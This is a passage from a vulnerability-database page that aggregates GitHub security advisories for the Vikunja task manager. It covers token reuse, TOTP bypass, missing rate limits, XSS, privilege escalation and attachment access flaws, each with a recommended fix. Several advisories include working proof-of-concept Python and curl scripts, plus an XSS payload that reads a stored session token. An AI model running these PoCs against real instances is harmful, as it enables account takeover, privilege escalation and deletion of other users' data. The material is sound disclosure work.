Where
-Infinity
0

Vendor Risk Score

See how vikunja compares to other vendors in security performance

View Risk Score →
Severity
9.8
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary A critical business logic vulnerability exists in the password reset mechanism of vikunja/api that allows password reset tokens to be reused indefinitely. Due to a failure to invalidate tokens upon use and a critical logic bug in the token cleanup cron job, reset tokens remain valid forever.

This allows an attacker who intercepts a single reset token (via logs, browser history, or phishing) to perform a complete, persistent account takeover at any point in the future, bypassing standard authentication controls.

Technical Analysis The vulnerability stems from two distinct logic errors in the pkg/user/ package that confirm the tokens are never removed.

1. Logic Error in Password Reset (No Invalidation) In pkg/user/userpasswordreset.go, the ResetPassword function successfully updates the user's password but fails to delete the reset token used to authorize the request. Instead, it attempts to delete a TokenEmailConfirm token, leaving the TokenPasswordReset active.

Vulnerable Code: pkg/user/userpasswordreset.go (Lines 36-94) func ResetPassword(s xorm.Session, reset PasswordReset) (userID int64, err error) { // ... [Validation and User Lookup] ...

// Hash the password user.Password, err = HashPassword(reset.NewPassword) if err != nil { return }

// FLAW: Deletes 'TokenEmailConfirm' instead of the current 'TokenPasswordReset' err = removeTokens(s, user, TokenEmailConfirm) if err != nil { return }

// ... [Update User Status and Return] ... // The reset token is never removed and remains valid in the DB. } 2. Logic Error in Token Cleanup (Inverted Expiry) The background cron job intended to expire old tokens contains an inverted comparison operator. It deletes tokens newer than 24 hours instead of older ones.

Vulnerable Code: pkg/user/token.go (Lines 125-151) func RegisterTokenCleanupCron() { // ... err := cron.Schedule("0 ", func() { // ... // FLAW: "created > ?" selects tokens created AFTER 24 hours ago. // This deletes NEW valid tokens and keeps OLD expired tokens forever. deleted, err := s. Where("created > ? AND (kind = ? OR kind = ?)", time.Now().Add(time.Hour24-1), TokenPasswordReset, TokenAccountDeletion). Delete(&Token{}) // ... }) }

Impact Persistent Account Takeover: An attacker with a single valid token can reset the victim's password an unlimited number of times.

Bypass of Remediation: Even if the victim notices suspicious activity and changes their password, the attacker can use the same old token to reset it again immediately.

Infinite Attack Window: Because the cleanup cron is broken, the token effectively has a generic TTL of "forever," allowing exploitation months or years after the token was issued.

Remediation 1. Invalidate Token on Use Update ResetPassword to delete the specific reset token upon successful completion. // Recommended Fix err = removeTokens(s, user, TokenPasswordReset) // Correct TokenKind 2. Fix Cleanup Logic Update the SQL query in RegisterTokenCleanupCron to target tokens created before the cutoff time. // Recommended Fix Where("created < ? ...", time.Now().Add(time.Hour24-1), ...) // Use Less Than (<)

A fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.1.0

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Vikunja before 2.2.1 contains an authorization flaw where the LinkSharing.ReadAll endpoint exposes share hashes to users with read access, enabling permission escalation to admin-level shares. The GetTaskAttachment endpoint performs permission checks against user-supplied task IDs but fetches attachments by sequential ID without verifying ownership, allowing attackers to download and delete all file attachments across all projects instance-wide.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The task-collection endpoint GET /api/v1/projects/{project}/views/{view}/tasks loads the requested project view straight from the URL path without verifying the caller is authorized for it. For a link-share token, the task query is correctly pinned to the share's own project, but the view is taken from the attacker-controlled path and never re-validated against the share. A holder of a share link to any project can therefore point the endpoint at any other tenant's kanban view and receive that view's bucket records — bucket titles plus the full createdby user object (username, name, id) — for every view in the instance. The same missing pre-authorization view load also yields a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users alike.

Details

Root cause is in TaskCollection.ReadAll (pkg/models/taskcollection.go).

1. The view is resolved from the URL params before any permission check:

go // pkg/models/taskcollection.go (ReadAll) if tf.ProjectViewID != 0 { view, err = GetProjectViewByIDAndProject(s, tf.ProjectViewID, tf.ProjectID) // (URL params) ... }

GetProjectViewByIDAndProject (pkg/models/projectview.go) filters only on WHERE id = ? AND projectid = ? — it performs no authorization. A valid (project, view) pair returns the view; an invalid pair returns ErrProjectViewDoesNotExist (HTTP 404).

2. For a link-share caller, the code pins the task scope to the token's own project but reuses the attacker-supplied view:

go shareAuth, is := a.(LinkSharing) if is { project, err := GetProjectSimpleByID(s, shareAuth.ProjectID) // token's project ... return getTaskOrTasksInBuckets(s, a, []Project{project}, view, opts, filteringForBucket, tf.forceFlatTasks) // view is the foreign, attacker-controlled view — never validated against shareAuth.ProjectID }

3. getTaskOrTasksInBuckets → GetTasksInBucketsForView (pkg/models/kanban.go) reads the buckets of that foreign view directly:

go err = s.Where("projectviewid = ?", view.ID).OrderBy("position").Find(&buckets) ... users, err := getUsersOrLinkSharesFromIDs(s, userIDs) // resolves each bucket's createdby

Each returned Bucket serializes CreatedBy user.User as json:"createdby" (pkg/models/kanban.go), exposing the creating user's username, name, and id.

The normal (non-share) path is protected because it runs getRelevantProjectsFromCollection, which calls project.CanRead on the URL project and returns 403 before any bucket data is produced. Only the LinkSharing branch skips that gate, which is why the bucket disclosure is link-share-specific. ReadAllWeb (pkg/web/handler/readall.go) performs no permission check of its own, so all authorization for this endpoint lives inside ReadAll.

Scope of the leak (verified against fixtures): the tasks returned inside the buckets are still constrained to the share's own project (getRawTasksForProjects filters tasks.projectid IN opts.projectIDs, derived from the share's project). So victim task contents do not leak; what leaks is the foreign view's bucket structure and, critically, the createdby user identities of arbitrary buckets instance-wide.

Introduced in v0.24.0 by the per-view kanban feature (feat(views)!: return tasks in buckets by view), which added the views/{view}/tasks endpoint and the foreign-view bucket load. The link-share branch predates it, but the two only combine into this bug from v0.24.0 onward.

Impact

A holder of a link-share token to any single project (link shares are designed to be handed out, often semi-publicly) can:

- Enumerate all project and view IDs instance-wide. IDs are sequential auto-increment integers; an invalid (project, view) pair returns 404 while a valid one returns 200, giving a reliable existence oracle across all tenants. - Disclose the createdby user of any kanban view's buckets — username, display name, and user id. Because Vikunja auto-creates a default project with a Kanban view for every user, iterating view IDs enumerates usernames and user IDs for essentially every account on the instance. - Disclose bucket titles of every kanban view in the instance.

This is a cross-tenant broken-object-level-authorization bypass. It does not disclose victim task contents through this path, but instance-wide username/user-id enumeration plus kanban structure disclosure is a meaningful PII and reconnaissance exposure that defeats the tenant isolation the permission model is meant to enforce. The ID-enumeration oracle additionally works for any ordinary authenticated user (invalid combo → 404 vs. inaccessible combo → 403), because the view is loaded before the CanRead check.

Proof of Concept

Prerequisites: link sharing enabled (default), a share link to any project (call it project A), and any second project B (e.g. another tenant's) with a kanban view VB.

1. Authenticate the share link to obtain a share JWT: POST /api/v1/shares/{shareHash}/auth 2. Using that token, request a foreign kanban view's tasks: GET /api/v1/projects/{B}/views/{VB}/tasks 3. The 200 response is a list of Bucket objects belonging to view VB — each with title and a populated createdby (username, name, id) — even though the token has no relationship to project B. 4. Iterate {B}/{VB} over sequential integers: valid pairs return bucket lists (harvest usernames/ids), invalid pairs return 404.

Verified locally against the model fixtures: a LinkSharing{ProjectID: 1} (project 1 owned by user 1) calling TaskCollection{ProjectID: 2, ProjectViewID: 8}.ReadAll (project 2 owned by user 3) returns project 2's buckets ("testbucket4 - other project", "testbucket40") with their createdby user objects populated, and no error — while a nonexistent view id returns ErrProjectViewDoesNotExist.

Recommended Fix

In TaskCollection.ReadAll, before the view is loaded, pin the requested project to the link share's own project so any foreign view resolves to a 404 instead of leaking:

go if shareAuth, is := a.(LinkSharing); is { tf.ProjectID = shareAuth.ProjectID }

This is consistent with the existing behavior that already forces the task query to shareAuth.ProjectID, and it closes both the bucket disclosure and the share-token half of the enumeration oracle. As defence-in-depth, resolve the view's authorization against the authenticated caller for every auth type (not just link shares), so the endpoint never loads a view the caller cannot read — closing the 404-vs-403 existence oracle for ordinary users as well.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.01%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary The application allows users to set weak passwords (e.g., 1234, password) without enforcing minimum strength requirements. Additionally, active sessions remain valid after a user changes their password.

An attacker who compromises an account (via brute-force or credential stuffing) can maintain persistent access even after the victim resets their password.

Details

1. Weak passwords are accepted during registration and password change. 2. No minimum length or strength validation is enforced. 3. After changing the password, previously issued session tokens remain valid. 4. No forced logout occurs across active sessions.

Attack scenario:

Attacker guesses or obtains weak credentials. Logs in and obtains active session token. Victim changes password. Attacker continues accessing the account using the old session.

Steps to Reproduce

1. Register using a weak password (e.g., 12345678 ). 2. Log in and Password Change functionality. 3. Change account password with single character (e.g., 1 or a ) 4. Reuse the old session. 5. Observe that access is still granted.

Impact

- Persistent account takeover - Unauthorized access to sensitive data - Increased brute-force success probability - Elevated risk for administrative accounts

The combination of weak password controls and improper session invalidation significantly increases both exploitability and impact.

Recommendation Password Policy Improvements:

- Enforce strong password policies – Require passwords to be 8–16+ characters with a mix of uppercase, lowercase, numbers, and special characters. - Block common passwords – Use a blacklist of commonly used and breached passwords. - Use secure hashing – Store passwords using strong salted hashing algorithms like bcrypt or Argon2. - Enable account lockout – Limit failed login attempts to reduce brute-force risk. - Educate users – Promote strong password practices and phishing awareness.

Session Management Fix:

- Invalidate all active sessions upon password change - Revoke refresh tokens (if applicable) - Implement token/session versioning - Regenerate session IDs after credential updates - Log and notify users of password change events

Implementing both controls will significantly reduce the risk of persistent account compromise.

<img width="1918" height="907" alt="Weak Password Policy Combined with Persistent Sessions After Password Change POC" src="https://github.com/user-attachments/assets/f188b69b-0472-4d2c-aeda-c145384c99ef" />

A fixed version is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

go return auth.NewUserAuthTokenResponse(u, c, false)

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } , err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup: - Vikunja configured with emailfallback: true for Dex - Local user alice (id=1) has TOTP enabled

python import requests, re, html from urllib.parse import parseqs, urlparse

TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1"

verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.statuscode} code={r.json().get('code')}") Output: 412 code=1017 (TOTP required)

login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?clientid=vikunja" f"&redirecturi={TARGET}/auth/openid/dex" f"&responsetype=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"])"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allowredirects=False) approvalurl = DEX + r.headers["Location"] r = s.get(approvalurl) req = re.search(r'name="req" value="([^"])"', r.text).group(1) r = s.post(approvalurl, data={"req": req, "approval": "approve"}, allowredirects=False) code = parseqs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirecturl": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.statuscode}")

user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") TOTP was completely bypassed

Output: Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing emailverified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { = s.Rollback() return err } if totpEnabled { = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.61%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary The /dav, /.well-known, and /feeds groups are registered on the root Echo instance with only BasicAuth and no rate limiter. CalDAV BasicAuth accepts the plain account password, so password guessing over /dav is unbounded and never returns 429, while /api/v1/login is throttled from the tenth attempt. The only anti-brute-force control on the instance is therefore bypassable.

Details pkg/routes/routes.go (~lines 238-249) registers /.well-known, /dav, and /feeds with middleware.BasicAuth(...) and nothing else; registerCalDavRoutes adds no limiter. pkg/routes/caldav/auth.go (~lines 88-93) falls through to user.CheckUserCredentials with the plain account password when no CalDAV token matches. In contrast, /register, /login, etc. are wrapped by unauthRateLimit() — an unconditional 10/min/IP pre-auth floor that ignores ratelimit.enabled (default false).

TOTP-enabled accounts and bot users are correctly refused, so this targets password-only accounts.

PoC (verified at runtime against v2.5.0) POST /api/v1/login x25 wrong passwords -> 429 from attempt 2 (throttled) PROPFIND /dav/principals/{user}/ x60 wrong passwords -> 401 x60, 429 x0 GET /feeds/notifications.atom x30 wrong passwords -> 401 x30, 429 x0 PROPFIND /dav/... with correct password -> 207 (proves the 401s are real auth failures)

Impact The anti-brute-force floor guarding /login is entirely absent on /dav, /feeds, and /.well-known, giving an unbounded credential-guessing surface against account passwords. (bcrypt caps throughput to a few guesses/second, but nothing caps the number of attempts.) Reported as an authentication-control bypass, not a DoS.

Fix Apply the unconditional pre-auth rate-limit floor to the /dav, /.well-known, and /feeds groups.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.38%
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

A user who has only read permission on a project can call the single link-share read endpoint and receive the share's hash field — the secret credential that the anonymous POST /shares/{share}/auth endpoint exchanges for a link-share JWT carrying the share's permission (read / read-write / admin). A read-only member can therefore mint a write- or admin-level token for the project and perform writes they are not entitled to, while their own user token is correctly refused. This is the remaining variant of the link-share hash disclosure class: GHSA-8hp8-9fhr-pfm9 fixed the list endpoint (ReadAll now requires project admin) but the single-read endpoint's gate was never aligned. Verified on Vikunja 2.5.0; the weak gate has existed since the endpoint, so earlier versions are likely affected too.

Details

Affected endpoints (both verified with a complete chain):

- v1: GET /api/v1/projects/{project}/shares/{share} - v2: GET /api/v2/projects/{project}/shares/{share}

Permission gate: LinkSharing.CanRead (pkg/models/linksharingpermissions.go) delegates to project.CanRead(s, a) — i.e. any user with read access to the project passes. The response serializes the hash field (pkg/models/linksharing.go, field tag json:"hash"), which is the share's bearer credential. The share password field is correctly cleared before returning, but the hash is not restricted.

Inconsistent with the sibling list endpoint GET /projects/{project}/shares (LinkSharing.ReadAll, pkg/models/linksharing.go:243-256), which requires project.IsAdmin — the protection level the project chose when the class was fixed for the list endpoint in 2.3.0 (GHSA-8hp8). The v1 and v2 APIs share the same model-level gate (the v2 handler.DoReadOne wrappers call the same CanRead), so both surfaces are affected.

Impact chain: hash -> POST /api/v1/shares/{hash}/auth (unauthenticated by design) -> link-share JWT at the share's permission level -> full API access at that level for that project.

Mitigating factors: the attacker must already be a member of the project at read level; password-protected shares (sharingtype=2) still require the password at the auth step; share IDs are small sequential integers and enumerable by members.

PoC

Steps below use two accounts: the owner (token $OWNER) and an attacker who has been granted read-only access to the project (token $READER). All requests were executed against a local Vikunja 2.5.0 instance.

1. Owner creates a private project and a read-write link share (permission=1):

curl -X PUT "$BASE/api/v1/projects" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"title":"poc"}' -> {"id":123,...}

curl -X PUT "$BASE/api/v1/projects/123/shares" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"name":"poc","permission":1}' -> {"id":7,"hash":"<SECRETHASH>",...}

2. Owner adds the attacker as a read-only member (permission=0):

curl -X PUT "$BASE/api/v1/projects/123/users" -H "Authorization: Bearer $OWNER" \ -H 'Content-Type: application/json' -d '{"username":"attacker","permission":0}'

3. Attacker reads the single share — the weak gate — and receives the hash (this is the disclosure; the list endpoint would correctly return 403 here):

curl "$BASE/api/v1/projects/123/shares/7" -H "Authorization: Bearer $READER" -> 200 {"id":7,"hash":"<SECRETHASH>","permission":1,...} v2 twin behaves identically: curl "$BASE/api/v2/projects/123/shares/7" -H "Authorization: Bearer $READER" -> 200 {"hash":"<SECRETHASH>",...}

4. Attacker exchanges the hash for a link-share JWT (no authentication required):

curl -X POST "$BASE/api/v1/shares/<SECRETHASH>/auth" \ -H 'Content-Type: application/json' -d '{}' -> 200 {"token":"<LINKJWT>",...}

5. Negative control — the attacker's own user token cannot write to the project:

curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer $READER" \ -H 'Content-Type: application/json' -d '{"title":"direct"}' -> 403 Forbidden

6. Escalation proof — the link-share JWT writes successfully:

curl -X PUT "$BASE/api/v1/projects/123/tasks" -H "Authorization: Bearer <LINKJWT>" \ -H 'Content-Type: application/json' -d '{"title":"escalated"}' -> 201 Created

Observed result: steps 3, 4 and 6 all succeed (200 / 200 / 201) while step 5 is refused with 403 — the read-only member has escalated to write access. If the project has an admin-level share (permission=2), the same chain yields project-admin capabilities (member management is still refused for link principals, but project settings, shares of the project, and all write operations become available).

Impact

Broken access control / privilege escalation within shared projects (CWE-862, CWE-639: the link-share hash is a bearer capability disclosed to a lesser-privileged member; CWE-200 for the information exposure). Any read-level member of a project that has a link share can escalate to that share's permission level: write members' tasks/comments can be created and modified; an admin-level share additionally grants project settings and share management for the project. Confidentiality is also affected insofar as the hash itself is the project's shared secret. Suggested fix: require project.IsAdmin in LinkSharing.CanRead (aligning with ReadAll), or omit the hash field from responses to non-admin members.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
EPSS
0.50%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary registerAPIRoutesV2 never applies the unconditional pre-auth rate-limit floor (unauthRateLimit()) to the v2 public routes — it passes that limiter only to /api/v2/ws — and otherwise relies on setupRateLimit, which registers nothing when ratelimit.enabled is false (the default). So on a stock install every v2 pre-auth endpoint (login, register, password-reset token, oauth token) is unthrottled, while its v1 twin is throttled.

Details unauthRateLimit() -> perMinuteIPRateLimit("noauth", RateLimitNoAuthRoutesLimit) (pkg/routes/ratelimit.go, ~lines 100-118) is an unconditional per-IP floor (default 10/60s) that deliberately ignores RateLimitEnabled, which is why v1's pre-auth routes are throttled even with the global limiter off. v1 applies it: ur := a.Group(""); ur.Use(unauthRateLimit()) (pkg/routes/routes.go ~line 459). registerAPIRoutesV2 (~lines 405-431) passes the unauthRateLimit() instance only to /api/v2/ws; its auth routes get only setupRateLimit(a, ...), which is config-gated and registers nothing by default.

PoC (verified at runtime against v2.5.0) POST /api/v1/login x25 -> 429 from attempt 5 POST /api/v2/login x25 -> 403 x25, 429 x0 POST /api/v1/user/password/token -> 429 (throttled) POST /api/v2/user/password/token x20 -> 404 x20, 429 x0 Request bodies are byte-identical across versions (shared user.Login / user.PasswordTokenRequest). Both v2 endpoints reach their handlers (403/404, not route-404), so the comparison is valid.

Impact The pre-auth rate-limit floor — the instance's only default anti-brute-force / anti-abuse control — is absent on all v2 public endpoints. Enables unbounded credential guessing, account-enumeration probing, and password-reset flooding on a default install. Reported as an authentication-control bypass, not a DoS.

Fix Apply unauthRateLimit() to the v2 public route group, matching v1.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
EPSS
0.01%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The task preview component creates a unparented div. The div's innerHtml is set to the unescaped description of the task

Details In the TaskGlanceTooltip.vue it temporarily creates a div and sets the innerHtml to the description here. Since there is no escaping on either the server or client side, a malicious user can share a project, create a malicious task, and cause an XSS on hover.

PoC 1. Create a project 2. Create a task with any description 3. Use the api to update the task with a description containing unescaped HTML (ex: <img src=x onerror="alert(localStorage.getItem('token'))"> 4. Share the project with any permission level 5. Send malicious project to user and ask them to view task

Impact Any user on an instance can cause an XSS on another

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/projectpermissions.go:139-148 only requires CanWrite on the new parent project when changing parentprojectid. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } }

Proof of Concept

Tested on Vikunja v2.2.2.

1. victim creates "Parent Project" (id=3) 2. victim creates "Secret Child" (id=4) under Parent Project 3. victim shares Parent Project with attacker at Write level (permission=1) -> attacker inherits Write on Secret Child (no direct share) 4. attacker creates own "Attacker Root" project (id=5) 5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden 6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parentprojectid":5} -> 200 OK (reparenting succeeds, only requires Write) 7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK -> Project deleted. victim gets 404.

python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} victimtoken = login("victim", "Victim123!") attackertoken = login("attacker", "Attacker123!") victim creates parent -> child project hierarchy parent = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Parent Project"}).json() child = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Secret Child", "parentprojectid": parent["id"]}).json()

victim shares parent with attacker at Write (attacker inherits Write on child) requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victimtoken), json={"username": "attacker", "permission": 1})

attacker creates own root project own = requests.put(f"{API}/projects", headers=h(attackertoken), json={"title": "Attacker Root"}).json()

before: attacker cannot delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE before reparent: {r.statuscode}") # 403

exploit: reparent child under attacker's project r = requests.post(f"{API}/projects/{child['id']}", headers=h(attackertoken), json={"title": "Secret Child", "parentprojectid": own["id"]}) print(f"Reparent: {r.statuscode}") # 200

after: attacker can now delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE after reparent: {r.statuscode}") # 200 - escalated to Admin

victim lost access r = requests.get(f"{API}/projects/{child['id']}", headers=h(victimtoken)) print(f"Victim access: {r.statuscode}") # 404 - project gone

Output: DELETE before reparent: 403 Reparent: 200 DELETE after reparent: 200 Victim access: 404

The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

Impact

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

Recommended Fix

Require Admin permission instead of Write when changing parentprojectid:

go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.IsAdmin(s, a) if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } canAdmin, err := p.IsAdmin(s, a) if err != nil { return false, err } if !canAdmin { return false, ErrGenericForbidden{} } }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.

Vulnerable Code Snippet

In pkg/user/userpasswordreset.go, beginning at line 66:

go // Hash the password user.Password, err = HashPassword(reset.NewPassword) if err != nil { return }

err = removeTokens(s, user, TokenPasswordReset) if err != nil { return }

user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active , err = s. Cols("password", "status"). Where("id = ?", user.ID). Update(user) if err != nil { return }

The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a standard user account in Vikunja. 2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (status = 2). 3. Attempt to log in as the disabled user to verify access is blocked (receives HTTP 412: This account is disabled). 4. Without authenticating, send a POST request to /api/v1/user/password/token with the disabled user's email address. 5. Retrieve the password reset token from the incoming email. 6. Send a POST request to /api/v1/user/password/reset with the token and a new password. 7. Log in using the new password. Observe that the login succeeds (HTTP 200) and the account has been maliciously reactivated.

Automation PoC

python import requests import psycopg2 import time import secrets

APIURL = "http://localhost:3456/api/v1"

def main(): username = f"testuser{secrets.tokenhex(4)}" email = f"{username}@example.com" password = "SuperSecretPassword123!" print("[1] Registering user...") requests.post(f"{APIURL}/register", json={"username": username, "email": email, "password": password}) print("[2] Admin disables account (Status = 2)...") conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunjapassword") cursor = conn.cursor() cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,)) conn.commit() print("[3] Verifying login is blocked...") res = requests.post(f"{APIURL}/login", json={"username": username, "password": password}) print(f"Login response: {res.statuscode} (Should be 412)") print("[4] Attacker requests password reset...") requests.post(f"{APIURL}/user/password/token", json={"email": email}) print("[5] Attacker grabs token from email/DB...") cursor.execute("SELECT id FROM users WHERE username = %s;", (username,)) userid = cursor.fetchone()[0] cursor.execute("SELECT token FROM usertokens WHERE userid = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (userid,)) token = cursor.fetchone()[0] print("[6] Attacker submits reset, triggering bug...") newpassword = "HackedPassword123!" requests.post(f"{APIURL}/user/password/reset", json={"token": token, "newpassword": newpassword}) print("[7] Attacker logs in successfully!") res = requests.post(f"{APIURL}/login", json={"username": username, "password": newpassword}) print(f"Final Login response: {res.statuscode} (Should be 200)")

cursor.execute("SELECT status FROM users WHERE username = %s;", (username,)) print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)") conn.close()

if name == "main": main()

Impact

Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision. Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.

Details

The vulnerability is in pkg/models/taskattachment.go in the ReadOne method:

go // pkg/models/taskattachment.go:110-120 func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { exists, err := s.Where("id = ?", ta.ID).Get(ta) // Only checks attachment ID, ignores TaskID if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } } // ... }

The permission check in pkg/models/taskattachmentpermissions.go validates access to the URL task, not the attachment's actual task:

go // pkg/models/taskattachmentpermissions.go:25-28 func (ta TaskAttachment) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { t := &Task{ID: ta.TaskID} // ta.TaskID is from URL param :task return t.CanRead(s, a) }

The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"): go // pkg/models/taskattachment.go:41-42 ID int64 xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment" TaskID int64 xorm:"bigint not null" json:"taskid" param:"task"

Attack flow for read (GET): The custom handler at pkg/routes/api/v1/taskattachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).

